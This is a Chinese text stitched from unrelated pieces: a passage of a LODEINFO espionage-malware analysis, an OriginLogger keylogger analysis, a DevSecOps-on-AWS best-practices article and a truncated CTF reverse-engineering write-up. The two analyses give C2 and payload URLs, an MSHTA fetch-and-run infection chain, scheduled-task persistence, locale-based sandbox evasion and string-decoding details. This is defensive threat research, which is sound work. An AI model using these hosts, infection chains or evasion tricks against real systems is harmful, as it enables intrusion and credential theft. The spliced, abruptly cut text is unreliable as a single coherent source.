在向用戶顯示一個誘餌文件時,歸檔腳本啟動K7SysMon.exe,它通過DLL側加載從K7SysMn1.dll (MD5: a8220a76c2fe3f505a7561c3adba5d4a)加載惡意DLL。 k7sysmm1 .dll包含一個BLOB,其中有一個模糊的例程,在過去的活動中沒有觀察到。嵌入式BLOB被劃分為4字節塊,每個部分存儲在DLL二進製文件的50個隨機命名的導出函數中的一個中。這些導出函數在分配的緩衝區中重構BLOB,然後使用一個單字節的XOR鍵解碼LODEINFO shellcode。

5.png

重新組裝有效負載BLOB

最終由該植入程序部署的負載是LODEINFO v0.6.3。

初始感染3:SFX + DLL側加載+額外的BLOB文件我們還發現了另一個類似的SFX文件,名為<masked>的sns電影的傳播請求。攻擊者利用了一位著名日本政治家的名字。嵌入的自解壓腳本和文件與本文的初始感染2部分中討論的前一個示例非常相似。但是,這個示例包含一個名為K7SysMon.Exe.db的附加文件。以前觀察到的加載程序模塊在可執行文件中嵌入了一個帶有加密shellcode的BLOB,但是在這個示例K7SysMn1.dll中不包含BLOB。相反,加載程序模塊讀取K7SysMon.Exe.db文件作為加密的BLOB,並解密shellcode,這是LODEINFO v0.6.3後門。 SFX文件的標題和文件的內容都是要求在SNS(社交網絡服務)上傳播這位著名政治家的視頻的內容。根據最後的歸檔時間戳,我們認為該SFX文件是在2022年6月29日通過魚叉式網絡釣魚郵件傳播的。從文件名稱和誘餌文件來看,目標是日本執政黨或相關機構。

2022年7月4日,另一個SFX文件(MD5 edc27b958c36b3af5ebc3f775ce0bcc7)被發現。存檔文件、有效載荷和C2地址與前面的示例集非常相似。唯一明顯的區別是這份誘餌文件的日文標題:投保申請。我們認為這個SFX文件可能被用來針對日本媒體公司。

初始感染4:VBA +未發現的下載程序shellcode downniissa早在2020年8月,我們發現了一個名為DOWNJPIT的無文件下載程序shellcode,這是LODEINFO惡意軟件的一個變體,並在HITCON 2021上就其進行了演示。 2022年6月,我們發現了另一個無文件下載程序shellcode,它由一個有密碼保護的Microsoft Word文件提供。文件名為增強日美同盟的威懾力和應對能力.doc。該文檔文件包含的惡意宏代碼與之前調查的樣本完全不同。打開後,該文檔文件顯示一條日文消息,以啟用以下VBA代碼。

6.png

2022年6月發現MS Word文件中的惡意VBA代碼

與過去的示例(如本文初始感染1中描述的示例)不同的是,惡意VBA宏被用來釋放DLL側加載技術的不同組件,在這種情況下,惡意宏代碼直接在WINWORD.exe進程的內存中註入並加載嵌入的shellcode。這個植入程序在過去的活動中是不存在的,shellcode也是LODEINFO v0.6.5的一個新發現的多級下載程序shellcode。

這個下載程序的shellcode完全不同於DOWNJPIT的變體。新的下載程序shellcode裡面有兩個URL:

http://172.104.112[.]218/11554.htm

http://www.dvdsesso[.]com/11554.htm

我們將這個新的下載程序命名為DOWNIISSA,其中IISSA是url中找到的文件名中的11554派生的字符串。下圖顯示了從惡意文檔文件到DOWNIISSA下載的最終有效負載的複雜感染流程。

7.png

通過DOWNIISSA的LODEINFO感染過程

如上所述,嵌入式宏生成DOWNIISSA shellcode並將其註入到當前進程(WINWORD.exe)中。主要的下載程序代碼是base64編碼的,並放在DOWNIISSA shellcode的開頭,由shellcode本身進行解碼和修補。

8.png

DOWNIISSA base64解碼和自修復

在它被解碼後,一些重要的字符串被發現是用一個字節的異或加密。例如,兩個C2目的地址用以下代碼解密。

9.png

DOWNIISSA shellcode主函數中嵌入的異或C2目的地

DOWNIISSA使用URLDownloadToFileA() API函數從URL地址下載BLOB,並將其釋放在%TEMP%/${TEMP}.tmp。然後,它將文件讀入當前進程中分配的內存中,並立即釋放下載的臨時文件。我們確認了這兩個URL都提供了相同的二進制數據,該數據與存儲在BLOB本身末尾的一字節XOR鍵進行了XOR。異或解密後,發現LODEINFO後門shellcode v0.6.5。在感染的最後階段,DOWNIISSA創建一個msiexec.exe實例,並在進程的內存中註入LODEINFO後門shellcode。

這個涉及DOWNIISSA shellcode的新感染流在之前使用LODEINFO的活動中沒有出現過,這是2022年的一個新的TTP。

除了在這個示例中找到的11554.htm文件,我們還發現了其他名稱的文件,如3390.htm, 5246.htm和16412.htm,在2022年7月託管在相同的C2服務器上。 3390.htm (MD5: 0fcf90fe2f5165286814ab858d6d4f2a)和11554.htm (MD5: f7de43a56bbb271f045851b77656d6bd)是通過downniissa惡意軟件下載的單字節異或lodeinfo v0.6.5 shellcode。每個示例的XOR鍵都在文件末尾找到。 5246.htm (MD5: 6780d9241ad4d8de6e78d936fbf5a922)和16412.htm (MD5: 15b80c5e86b8fd08440fe1a9ca9706c9)文件是單字節異或唯一數據結構。 5246.htm文件中的數據結構如下所示:

10.png

該數據結構包含三個文件的名稱:K7SysMon.exe, K7SysMn1.dll (MD5: c5bdf14982543b71fb419df3b43fbf07)和K7SysMon.exe.db (MD5: c9d724c2c5ae9653045396deaf7e3417)。這表明一個未被發現的下載程序模塊從C2下載5246.htm,以協助在受害者的設備上安裝一些嵌入式文件。

LODEINFO首次發現於2019年,LODEINFO及其感染方法不斷更新和改進,成為針對日本組織的更複雜的網絡間諜工具。 LODEINFO植入程序和加載程序模塊也不斷更新,以規避安全產品,並使安全研究人員的手動分析複雜化。

LODEINFO後門shellcode的演變如上所述,我們已經介紹了初始感染方法在不同的攻擊場景中有所不同,並且LODEINFO shellcode定期更新以用於每個感染媒介。接下來,我們將介紹2022年LODEINFO後門shellcode的改進。

卡巴斯基分別在3月、4月和6月調查了LODEINFO shellcode的新版本,即v0.5.9、v0.6.2、v0.6.3和v0.6.5。下圖顯示了該惡意軟件自發現以來的演變時間線。

2.1.png

LODEINFO發佈時間表

LODEINFO v0.5.6:使用古老的加密算法對C2通信進行多重加密這個從加載程序模塊中提取的LODEINFO v0.5.6 shellcode演示了針對某些安全產品的幾種增強規避技術,以及開發人員實現的三個新的後門命令。

在感染目標計算機之後,LODEINFO後門信標將計算機信息發送到C2,例如當前時間、ANSI代碼頁(ACP)標識符、MAC地址和主機名。信標還包含一個硬編碼密鑰(NV4HDOeOVyL),後來被古老的Vigenere密碼所使用。此外,隨機生成的垃圾數據被附加到數據的末尾,可能是為了逃避基於包大小的信標檢測。

2.2.png

在LODEINFO v0.5.6中增加了Vigenere密碼密鑰和隨機生成的垃圾數據

2021年12月,我們發現了LODEINFO v0.5.8,並進行了輕微修改,在Vigenere密碼密鑰後面添加了LODEINFO植入版本號。

用於發送數據的加密函數也被修改了,使其更加複雜。正如在前面的變體中觀察到的,它取要發送的數據的SHA512哈希值的前48個字節。然後,它使用一個等於運行時間的四字節XOR鍵XOR數據,並在數據之前進行預處理。發送的前16個字節來自另一個SHA512哈希值,這一次來自前面提到的硬編碼AES密鑰(NV4HDOeOVyL)。它在base64編碼的有效負載的末尾加密11個字節(用從“=”到“.”替換的填充),以動態生成第二個Vigenere密碼密鑰和最終生成數據的變量。 Vigenere密碼使用第二個密鑰加密base64編碼的標頭(url-safe替換了從“=”到“.”的填充)。

2.3.png

C2通信中的加密算法和數據流

最後,通過上面描述的複雜步驟,使用第二個密鑰、加密標頭和有效負載生成要發送到C2的數據。最終的數據包結構如下:

2.4.png

LODEINFO v0.5.6:用於後門命令標識符的2字節異或混淆

這次更新包括修改的加密算法和後門命令標識符,這些標識符在以前的LODEINFO shellcode中定義為四字節硬編碼值。 LODEINFO v0.5.6後門命令標識符被一個雙字節的異或操作混淆了。在比較命令標識符之前,對每個命令應用異或操作。對於每個命令,硬編碼的異或鍵不同,如下所示:

2.5.png

用於後門命令標識符的四字節堆棧字符串的兩字節異或

我們還觀察到攻擊者在LODEINFO v0.5.6及更高版本中實現了新的後門命令,如“comc”、“autorun”和“config”。 LODEINFO後門中嵌入了21條後門命令,包括3條新命令,用於控制受害主機。

LODEINFO v0.5.9:獲取API函數的哈希算法與v0.5.8相比,v0.5.9有一個新的哈希計算算法。該哈希算法被惡意軟件用來計算API函數名的哈希值,以解析函數地址。在本示例中,它似乎是由開發者開發的自定義算法。哈希計算的邏輯有一個XOR運算,在末尾有一個兩字節的鍵和一個硬編碼的XOR鍵,這在每個示例中都是不同的。

2.6.png

更改了哈希計算算法和v0.5.9中附加的雙字節異或鍵

這一修改表明,攻擊者的目標是逃避基於簽名的檢測,並使反向工程過程對安全研究人員來說更加困難。

LODEINFO v0.6.2:規避en_US環境在LODEINFO v0.6.2及更高版本中,shellcode有一個新特性,它在遞歸函數中查找受害者設備上的“en_US”區域設置,如果找到該區域設置,則停止執行。

2.7.png

如果找到“en-US”區域設置,則遞歸調用

根據卡巴斯基的調查,以及收集到的這個惡意軟件的開源情報,這些攻擊的主要目標是日本機構。因此,此功能的目的是避免在沙盒和研究人員設備上執行,這在英語語言環境中最常見。

LODEINFO v0.6.2:生成C2通信的用戶代理負責生成C2通信的用戶代理的函數也從v0.6.2更新了,惡意軟件使用以下硬編碼的格式化字符串生成用戶代理字符串,其中%s被替換為安裝的chrome.exe應用程序的版本號:

“Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36″

惡意軟件從以下其中一個文件路徑的EXE文件中獲取已安裝chrome.exe的版本號:

C:\ProgramFiles(x86)\Google\Chrome\Application\chrome.exe

C:\ProgramFiles\Google\Chrome\Application\chrome.exe

C:\Users\Administrator\AppData\Local\Google\Chrome\Application\chrome.exe

否則,如果系統上沒有這些文件,惡意軟件使用硬編碼版本98.0.4758.102創建以下用戶代理字符串:

Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/98.0.4758.102Safari/537.36

LODEINFO v0.6.2:支持在‘memory’ 命令中註入64位shellcode基於我們對該版本的深入分析,我們發現了一個非常有趣的更新,即從v0.6.2版本實現的shellcode加載方案,在處理' memory '命令的函數中。

2.8.png

檢查操作系統架構和下一個shellcode架構

在內存注入過程中,使用負責內存命令的函數執行,惡意軟件檢查第二階段shellcode的第一個字節,使用一個神奇的十六進制值確定shellcode體系結構。如果第一個字節為0xE9,則表示架構為32位。如果第一個字節為0x8D,則表示架構為64

2019 年3 月4 日,鍵盤記錄惡意軟件Agent Tesla被發現。最近,研究人員發現了OriginLogger,這是一個基於Agent Tesla的惡意軟件。

我將在本文介紹OriginLogger 鍵盤記錄器惡意軟件,看看它如何處理配置變量的字符串混淆,以及我在查看提取的配置時發現的內容。

Palo Alto Networks 客戶通過Cortex XDR 和具有云交付安全服務(包括WildFire 和高級威脅預防)的下一代防火牆獲得OriginLogger 及其前身惡意軟件Agent Tesla 的保護。

OriginLogger的發現過程在搜索過程中,我偶然發現了一個銷售“完全無法檢測”(FUD)工具的人在2018 年發布的YouTube 視頻。此人展示了帶有鏈接的OriginLogger 工具,該鏈接可以從一個已知的網站購買該工具,該網站會傳播惡意軟件、漏洞利用等。

1.png

OriginLogger的部分功能

2.png

OriginLogger的全部功能

此外,他們還展示了Web 面板和惡意軟件生成器。

3.png

OriginLogger Web 面板

4.png

OriginLogger 生成器

上圖顯示的生成器圖像對我來說特別有趣,因為它提供了一個默認字符串:facebook、twitter、gmail、instagram、movie、skype、porn、hack、whatsapp、discord,這可能是這個應用程序獨有的。果然,在VirusTotal 上的內容搜索顯示了2022 年5 月17 日上傳的一個匹配文件(SHA256:595a7ea981a3948c4f387a5a6af54a70a41dd604685c72cbd2a55880c2b702ed)。

5.png

VirusTotal 搜索字符串

由於缺少依賴項,下載並嘗試運行此文件會導致錯誤。但是,知道生成器的文件名OriginLogger.exe,允許我擴展搜索並找到一個包含運行OriginLogger所需的所有文件的Zip歸檔文件(SHA256: b22a0dd33d957f6da3f1cd9687b9b00d0ff2bdf02d28356c1462f3dbfb8708dd)。

6.png

Zip 壓縮文件中的捆綁文件

settings.ini 文件包含生成器將使用的配置,在下圖中我們可以看到SmartWords 下列出的先前搜索字符串。

7.png

OriginLogger Builder settings.ini 文件

文件profile.origin 包含客戶在購買OriginLogger 時註冊的嵌入式用戶名/密碼。

8.png

OriginLogger 生成器登錄屏幕

有趣的是,如果你逆向配置文件中的值,就會顯示明文密碼。

9.png

profile.origin 文件的內容

10.png

OriginLogger 生成器登錄屏幕,以明文形式顯示密碼

當用戶登錄時,生成器會嘗試向OriginLogger 服務器進行身份驗證以驗證訂閱服務。

此時,我有了兩個版本的構建器。第一個(b22a0d*)包含在Zip文件中,編譯於2020年9月6日。另一個包含SmartWords字符串(595a7e*)的版本是在2022年6月29日編譯的,大約在第一個版本的兩年之後。

更高版本通過TCP/3345 向IP 23.106.223[.]46 發出身份驗證請求。自2022 年3 月3 日起,此IP 已解析到域originpro[.]me。此域已解析為以下IP 地址:

11.png

第二個IP,204.16.247[.]26,由於解析了這些其他OriginLogger 相關域而脫穎而出:

12.png

這個嘗試連接到一個不同的IP地址進行身份驗證。

13.png

PCAP 顯示遠程IP 地址

與originpro[.]me 關聯的IP 地址不同,74.118.138[.]76 不直接解析為任何OriginLogger 域,而是解析為0xfd3[.]com。在此域上逆向顯示它包含mail.originlogger[.]com的DNS MX和TXT記錄。

從2022 年3 月7 日左右開始,相關域開始解析為IP 23.106.223[.]47,它在最後一個八位字節中比用於originpro[.]me 的IP(使用46)高一個值。

這兩個IP 地址共享了多個SSL 證書:

14.png

共享SSL 證書

以IP 23.106.223開頭的兩個服務器的RDP登錄屏幕。 X顯示有多個帳戶的Windows Server 2012 R2服務器。

15.png

RDP登錄界面為23.106.223[.]

在進一步搜索該域時,我發現了用戶0xfd3 的GitHub 配置文件,其中包含下圖中所示的兩個存儲庫。

16.png

用戶0xfd GitHub

滴管由於Agent Tesla 和OriginLogger 都是商業化的鍵盤記錄器,因此初始dropper在不同的活動中會有很大的差異,不應被視為兩者都是獨一無二的。我將以下內容作為攻擊釋放OriginLogger 的真實示例來展示,並表明它們可能非常複雜和模糊。

初始誘餌文檔是一個Microsoft Word文件(SHA256: ccc8d5aa5d1a682c20b0806948bf06d1b5d11961887df70c8902d2146c6d1481)。打開時,該文件顯示一張德國公民的護照照片以及一張信用卡。我不太確定這對普通用戶有多大的吸引力,但無論如何,你都會注意到圖像下方包含許多Excel 工作表,如下圖所示。

17.jpeg

誘餌文件

這些工作表中的每一個都包含在單獨的嵌入式Excel 工作簿中,並且完全相同:

18.png

在每個工作簿中都有一個單一的宏,它只是保存要在以下位置執行的命令:

19.png

運行後,它將通過MSHTA 下載並執行hxxp://www.asianexportglass[.]shop/p/25.html 上的文件內容。該網站的屏幕截圖如下圖所示。

20.png

網站看起來合法

該文件在文檔中間包含一個嵌入的混淆腳本作為註釋。

21.png

網站隱藏評論

取消轉換腳本會顯示下圖中所示的代碼,該代碼從BitBucket 片段下載下一個有效負載(hxxps://bitbucket[.]org/!api/2.0/snippets/12sds/pEEggp/8cb4e7aef7a46445b9885381da074c86ad0d01d6/files/snippet.txt)並使用名為calsaasdendersw 的計劃任務建立持久性,該任務每83 分鐘運行一次,並再次使用MSHTA 執行hxxp://www.coalminners[.]shop/p/25.html 中包含的腳本。

22.png

未轉換的腳本

BitBucket 網站上託管的代碼段包含進一步混淆的PowerShell 代碼和兩個編碼和壓縮的二進製文件。

這兩個文件中的第一個(SHA256: 23fcaad34d06f748452d04b003b78eb701c1ab9bf2dd5503cf75ac0387f4e4f8)是使用CSharp-RunPE 的C# 反射加載器。該工具用於挖空一個進程並在其中註入另一個可執行文件,在本例中,鍵盤記錄器有效負載將放置在aspnet_compiler.exe 進程中。

23.png

執行dotNet程序集中包含的方法的PowerShell命令

請注意調用Execute 方法的projFUD.PA 類。 Morphisec 在2021 年發布了一個名為“揭示Snip3 Crypter,一種高度規避的RAT 加載器”的博客,他們在其中分析了一個加密器即服務,並使用該工件對加密器的開發者進行指紋識別。

兩個文件中的第二個(SHA256:cddca3371378d545e5e4c032951db0e000e2dfc901b5a5e390679adc524e7d9c)是OriginLogger 有效負載。

OriginLogger 配置如前所述,此分析的初衷是自動化並從鍵盤記錄器中提取與配置相關的詳細信息。為了實現這一點,我首先查看瞭如何使用與配置相關的字符串。

我不會深入研究惡意軟件的任何實際功能,因為它是相當標準的,並且反映了對原有Agent Tesla 變體的分析。為了開始提取與配置相關的細節,我需要弄清楚用戶提供的數據是如何存儲在惡意軟件中的。結果很簡單,生成器將獲取動態字符串值並將它們連接成一個巨大的文本塊,然後將其編碼並存儲在一個字節數組中,以便在運行時進行解碼。一旦惡意軟件運行並命中需要字符串的特定函數,例如將屏幕截圖上傳到的HTTP 地址,它會將偏移量和字符串長度傳遞給函數,然後該函數將在塊中的該位置顯示出文本。

為了說明這一點,你可以在下面看到用於主要文本塊的解碼邏輯。

224.png

OriginLogger 明文塊解碼

每個字節通過字節數組中的字節索引進行異或運算,並再次通過值170 進行異或運算以顯示明文。

對於生成器生成的每個示例,此文本塊將根據配置的不同而有所不同,因此偏移量和定位將發生變化。查看下圖中顯示的原始文本很有幫助,但如果不將其連接起來觀察,就很難確定邊界在哪裡結束或開始。

25.png

明文數據塊

當需要分析惡意軟件時,它也沒有幫助,因為你無法辨別什麼時候或在哪裡使用了哪些內容。為了解決下一個問題,我需要了解OriginLogger如何處理拼接。

下面你可以看到負責分割字符串的函數,後面是包含偏移量和長度的各個方法的開頭。

26.png

OriginLogger 字符串函數

在本例中,如果惡意軟件在某個時間點調用了B() 方法,它會將2、2、27 傳遞給圖像頂部的混淆後的無名函數。第一個整數用於存儲解碼字符串的數組索引。然後將第二個整數(offset)和第三個整數(length)傳遞給GetString函數以獲取文本。對於這個特定條目,結果值(如下所示)在創建它上傳的HTML 頁面期間使用,以顯示被盜數據。

微信截图_20220919110744.png

了解字符串解析的工作原理後,我就可以自動提取這些字符串。首先,查看底層中間語言(IL) 彙編指令會有所幫助。

27.png

用於字符串函數的OriginLogger IL 指令

對於每一個這樣的查找,函數塊的結構將保持不變。在上圖中的索引6-8 處,你將看到三個ldc.i4.X 指令,其中X 指示一個整數值,該整數值將在調用之前描述的拼接函數之前被推入堆棧。這種整體結構創建了一個框架,然後可以使用該框架來匹配二進製文件中的所有相應函數以進行解析。

利用這一點,我編寫了一個腳本來識別編碼的字節數組,確定異或值,然後以惡意軟件使用的相同方式拼接解碼的塊。此時,你可以滾動瀏覽解碼的字符串並查找感興趣的內容。一旦識別出某些內容,知道了偏移量和隨後的函數名,就可以利用惡意軟件了。

28.png

OriginLogger 解碼字符串

此時,我開始重命名混淆的方法以反映它們的實際值,這使得分析更容易。

29.png

OriginLogger FTP 上傳函數

需要注意的是,通過將字符串類型指定為委託並識別感興趣的令牌,可以使用de4dot 及其動態字符串解密功能來實現相同的字符串反混淆,這對於單個文件分析非常有效。

下圖是2020年3月上傳的Chrome密碼恢復代碼:

30.png

Chrome 密碼恢復

將上圖與帶有重命名方法的OriginLogger示例代碼進行比較,如下圖所示。

31.png

OriginLogger Chrome 密碼竊取函數

通過工件識別OriginLogger使用這個工具,我提取了1917個不同的配置,這可以深入了解所使用的洩露方法,並允許基於底層基礎設施對樣本進行聚類。例如,為將鍵盤記錄器和屏幕截圖數據上傳到的示例配置的一個URL 是hxxps://agusanplantation[.]com/new/new/inc/7a5c36cee88e6b.php。該URL 不再處於活動狀態,因此我開始搜索有關它的歷史信息,以了解這些HTTP POST 請求的接收端是什麼。通過將域插入URLScan.io,它會在同一目錄中顯示面板的登錄頁面,但更重要的是,在四個月前掃描此主機時,在此主機上觀察到了OriginLogger Web 面板(SHA256:c2a4cf56a675b913d8ee0cb2db3864d66990e940566f57cb97a9161bd262f271)。

32.png

域的URLScan.io 掃描歷史記錄

同樣,其中一種洩露方法是通過Telegram 木馬。為了使用它們,OriginLogger 需要包含一個Telegram 木馬令牌,以便惡意軟件可以與之交互。這為分析正在使用的基礎設施提供了另一個獨特的機會。在這種情況下

使用AWS 的DevSecOps 簡介:如何將安全性集成到DevOps 中(上)

將安全性集成到DevOps 中的最佳實踐DevSecOps 的主要任務是通過確保SDLC 早期階段的安全編碼實踐,將安全性集成到DevOps 中。雖然需要自動化,但DevSecOps 不僅僅與此有關。首先,應培訓開發人員和運營專家以了解黑客的邏輯並知道如何通過安全措施來防止攻擊。只有這樣,他們才能正確使用旨在發現缺陷並確保開發和測試過程中安全的工具。

image.png

成功採用DevSecOps 的6 個最佳實踐

1. 培養安全性和開放性作為組織文化的一部分如果您想將安全性集成到您的DevOps 團隊中,第一步是通過以下活動改變您的文化:

建立知識庫。培訓開發人員和QA 專家,確保他們了解安全編碼和測試的基本原則,從而能夠負責滿足安全要求。

促進開放。鼓勵通常獨立工作的DevOps 和安全部門之間的開放式溝通和協作。確保安全指標和儀表闆對開發人員透明、可用且易於理解,以便他們可以應用它們來檢查代碼質量。

打造安全冠軍。聘請了解傳統DevOps 團隊安全性的專業安全人員,並可以指導您的團隊以確保他們在向DevSecOps 過渡期間具有安全意識。安全冠軍應該了解行業最佳實踐,並參與DevSecOps 諮詢,了解如何為軟件開發調整安全性。

但是,不要過度使用這種做法。您的員工不需要成為網絡安全專家——他們只需要足夠的知識和培訓來確保其職責範圍內的安全。

2.獲得可靠的版本控制系統短衝刺和持續交付要求開發人員在每個衝刺中對應用程序的代碼進行許多更改。您必須能夠跟踪這些更改,查看更改的內容和更改者,並查看他們是否有權這樣做。您還需要能夠快速回滾更改並恢復到以前版本的代碼。

這就是為什麼在將DevSecOps 實踐實施到SDLC 之前部署版本控制系統很重要。選擇具有以下功能的版本控制系統:

授權和身份驗證機制

開發人員的數字簽名

多樣化的變更控制技術

代碼版本的元數據集合

應用程序生命週期管理工具

您還可以選擇一個分佈式版本控制系統來鏡像軟件的代碼庫和開發人員機器上的所有代碼更改。

3. 構建DevSecOps 流程構建安全的CI/CD 管道需要在開發過程的每個階段添加安全檢查和掃描。讓我們看看在每次迭代期間您可以採取哪些措施來保護您的軟件:

image.png要在您的SDLC 中實施的關鍵DevSecOps 活動

1、軟件規劃中的安全措施除了收集功能性和非功能性軟件需求、產品特性和潛在用例之外,您還需要研究安全需求、驗收測試標準和威脅模型。從軟件規劃階段開始,還應考慮潛在的安全問題。

在規劃階段,您可以使用威脅建模和風險評估工具來了解應用程序的風險級別。如果您的應用程序將處理敏感數據或直接訪問互聯網,您可能需要構建更深層次的威脅模型。此外,如果您將任何數據用於應用程序測試,請考慮如何將其匿名化以避免隱私問題。

2、軟件開發過程中的安全措施在開發階段,DevSecOps 要求您的團隊遵循安全編碼和審查軟件設計和代碼的原則。但是,所有這些測試和檢查不應減慢開發過程。這就是為什麼您需要使盡可能多的流程自動化。

您還需要集成自動化的動態和靜態代碼測試,以便在軟件發布之前檢測安全漏洞。這些自主掃描不需要安全人員的干預,並且可以將結果直接添加到錯誤跟踪系統中。

作為此類測試的替代方法,您可以讓開發人員使用輕量級工具在其集成開發環境中進行快速代碼掃描。使自動掃描和安全測試軟件成為持續集成測試工具鏈的組成部分有助於顯著減少安全漏洞的數量。

3.持續的安全檢查DevSecOps 從業者應該通過保護他們的環境來保護他們的代碼。雖然開發人員經常使用開源應用程序和預構建的庫、容器和框架,但他們需要在使用它們之前消除這些組件中的任何已知關鍵漏洞。

這就是為什麼您需要對所有系統映像的所有內容進行漏洞檢查,包括:

雲環境

虛擬機

集裝箱

作業系統

其他軟件

持續集成應包括檢查所有操作系統和應用程序平台設置的配置是否符合安全最佳實踐。

雖然容器使用通用操作系統,但對它們的任何攻擊都可能會危及您的容器。因此,最佳實踐是在相似信任級別的工作負載上使用容器。然而,為了更強的隔離,最好使用管理程序或物理分離。

4. 迭代優先於完美傳統的開發方法告訴我們在發佈軟件之前解決所有問題。隨著DevSecOps 方法中的發布頻率,完善您的代碼直到它完美可能非常耗時,甚至可能導致在發布之前進行處理——這反過來又會導致在下一個衝刺期間花費更多的時間來修復和打補丁。

提前規劃和迭代您的工作是成功實施DevSecOps 的關鍵。因此,與其試圖在一次沖刺中達到完美,不如評估發現的安全問題,決定必須盡快解決哪些問題,並將其他問題留到未來的迭代中。

持續的風險評估和威脅監控可以幫助您決定需要盡快修復哪些漏洞。

5. 使用安全即代碼方法自動化流程雖然DevOps 使用可編程基礎設施即代碼,但安全措施也應根據這一原則進行調整。安全編碼原則應適用於腳本、模板、配方和藍圖的自動配置。安全即代碼可幫助您自動應用這些原則。

安全即代碼是一種允許開發人員在代碼中定義安全要求、策略和最佳實踐的實踐。然後,他們可以將此代碼集成到CI/CD 管道中,自動執行安全測試、檢查和掃描。使用安全即代碼,您可以自動化:

靜態和動態代碼分析

某些滲透測試活動

合規檢查

掃描漏洞和風險,例如嵌入式憑證、API 密鑰和加密密鑰

向開發人員提供反饋

image.png為什麼實施安全即代碼方法?

將您的安全需求描述為代碼需要大量的謹慎和專業知識,因為存在通過所有CI/CD 管道使用此代碼部署錯誤配置和漏洞的風險。這就是為什麼您需要在部署之前使用結對編程或進行代碼審查。此外,最好不要自動執行風險評估和優先級排序任務,或者至少在採取行動之前先審查它們的結果。

6. 管理對DevSecOps 工具的訪問傳統的靜態訪問控制工具不足以保護DevSecOps 環境中的敏感資源。瞬息萬變的環境和模糊的用戶職責範圍使得很難使用基於角色的訪問管理工具一勞永逸地配置用戶訪問權限。

為確保高級別的安全性,您需要使用動態訪問配置工具和方法,例如零信任網絡訪問控制、Kerberos 身份驗證協議或可自定義的屬性權限。

此外,DevSecOps 需要增強的機密管理。將所有代碼上傳到公共存儲庫或云服務後,您無法對敏感數據進行硬編碼或使用憑據、SSH 密鑰和API 密鑰上傳文件。相反,您應該實施一個秘密管理工具來加密這些秘密並將它們存儲在受保護的保險庫中。

這些實踐將幫助您構建快速、迭代且安全的CI/CD 管道。由於您還需要可靠的工具,讓我們了解如何在AWS 基礎設施中實施DevSecOps。

在轉向DevSecOps 時,您應該使用哪些AWS 服務?使用來自眾多供應商的工具構建完整的CI/CD 管道極具挑戰性,因為您必須擔心集成、數據收集和兼容性,並確保每個工具的工作安全。此外,對任何工具的任何更新都可能會損壞您的軟件基礎架構或自動化流程,並導致更多工作。

這就是為什麼我們更願意使用AWS 工具和服務來保護DevOps,這些工具和服務可以幫助我們構建一致且安全的管道。 AWS 虛擬基礎設施包括一組旨在自動化代碼測試的工具,特別是在整個代碼開發和質量保證過程中應用安全檢查。

image.png

面向DevSecOps 的AWS 服務

構建安全的CI/CD 管道

您可以使用這些AWS 工具和服務將安全性集成到DevOps 管道中,以實現自動化代碼構建、部署和分析:

AWS CodeBuild — 一種編譯源代碼、運行測試和準備軟件包以進行部署的服務。

AWS CodeCommit — 一種用於託管基於Git 的安全存儲庫的源代碼控制服務。要使用它,您的DevSecOps 團隊需要配置他們的Git 客戶端以與AWS CodeCommit 存儲庫通信。

AWS CodeDeploy — 一種用於將代碼自動部署到基於AWS 的本地和第三方計算服務的服務。

AWS CodePipeline — 一種高效的CI/CD 服務,允許DevOps 工程師自動執行預防性和檢測性安全控制。使用AWS CodePipeline 實施DevSecOps 可確保快速安全的軟件更新。

AWS CloudFormation — 一種用於自動安全地描述和配置基礎設施資源的服務。使用此服務,DevSecOps 從業者可以創建演示管道的安全模板。

AWS Lambda — 一種無服務器計算工具,可自動運行您的代碼以響應檢測到的觸發器。您可以使用它對范圍內的安全組執行靜態代碼分析和動態堆棧驗證。

AWS Systems Manager Parameter Store — AWS Systems Manager 的一部分,可讓您安全地存儲配置和管理機密。 Parameter Store 使AWS 基礎設施透明且可控。

應用安全機制當您將敏感數據上傳到公共(甚至私有)存儲庫或云服務時,保護敏感數據尤為重要。使用以下AWS 工具實施DevSecOps:

AWS Identity and Access Management — 一項顯示在對產品進行更改時誰負責什麼的服務。它有助於驗證誰實施了更改、審核日誌和配置存儲庫並管理訪問權限。

AWS Key Management Services — 用於創建和管理數據保護所需的加密密鑰的服務。這些服務使用經過驗證的硬件安全模塊來確保您的密鑰安全。

Amazon Virtual Private Cloud — 一項允許您在AWS 公共雲中創建私有云的服務。虛擬私有云不僅提供與私有云中其他客戶的隔離,還提供與互聯網的第3 層隔離。

自動化安全活動自動化是DevSecOps AWS 服務的核心。以下安全自動化工具可用於自動化事件響應、補救和取證:

Amazon Simple Notification Service — 一種完全託管的消息傳遞服務,用於自動化應用程序到應用程序和應用程序到個人的通信。

AWS Security Hub — 一項服務,可讓您全面了解AWS 賬戶的安全警報和安全狀況。它還有助於自動執行安全檢查和警報管理。

AWS CloudWatch — 一種AWS 資源監控工具,可從您的AWS 賬戶和部分AWS 基礎設施收集日誌並將其係統化。

AWS CloudTrail — 一種可以監控對AWS 賬戶的CloudWatch API 調用的服務。借助CloudTrail,您的安全官可以快速響應可疑活動。

結論DevOps 是改進軟件工程和維護流程的有效方法。但是,只有將安全性集成到DevOps 實踐中,公司才能充分發揮其潛力。

將DevSecOps 引入AWS 服務需要廣泛的安全培訓、周密的規劃以及自動化和手動活動的適當平衡。但是,遵循將安全性集成到DevOps 中的最佳實踐將幫助您成功克服這些挑戰。

Re 

Emoji Connect

是Excel的插件,开始玩之后会初始化一个4848的矩阵,每个格子里有一个emoji,然后每次点击两个格子,如果两个格子里的emoji相同,就会消除这两个格子。一开始以为是消星星一类的三个格子的消除,但看game的逻辑每次只替换两个,所以确实是连连看。然后flag的逻辑就是每次消除的时候减去格子的 行列,下标是用神奇的方法从unicode转过去的,我这里直接用矩阵里emoji的最小值做下标偏移了

dat = '''😈 😑  😔  😎  😌  😆  😤  😮  😮  😟  😪  😂  😢  😐  😩  😙  😭  😎  😬  😅  😉  😦  😛  😥  😜  😤  😑  😨  😝  😗  😛  😁  😑  😏  😜  😠  😤  😋  😀  😁  😅  😖  😑  😡  😒  😇  😄  😛
😊 😈 😂 😘 😬 😩 😥 😬 😈 😫 😅 😊 😒 😦 😑 😅 😙 😔 😟 😩 😬 😐 😑 😮 😔 😥 😧 😖 😇 😦 😉 😈 😘 😯 😣 😉 😓 😞 😃 😌 😨 😖 😮 😙 😙 😫 😋 😣
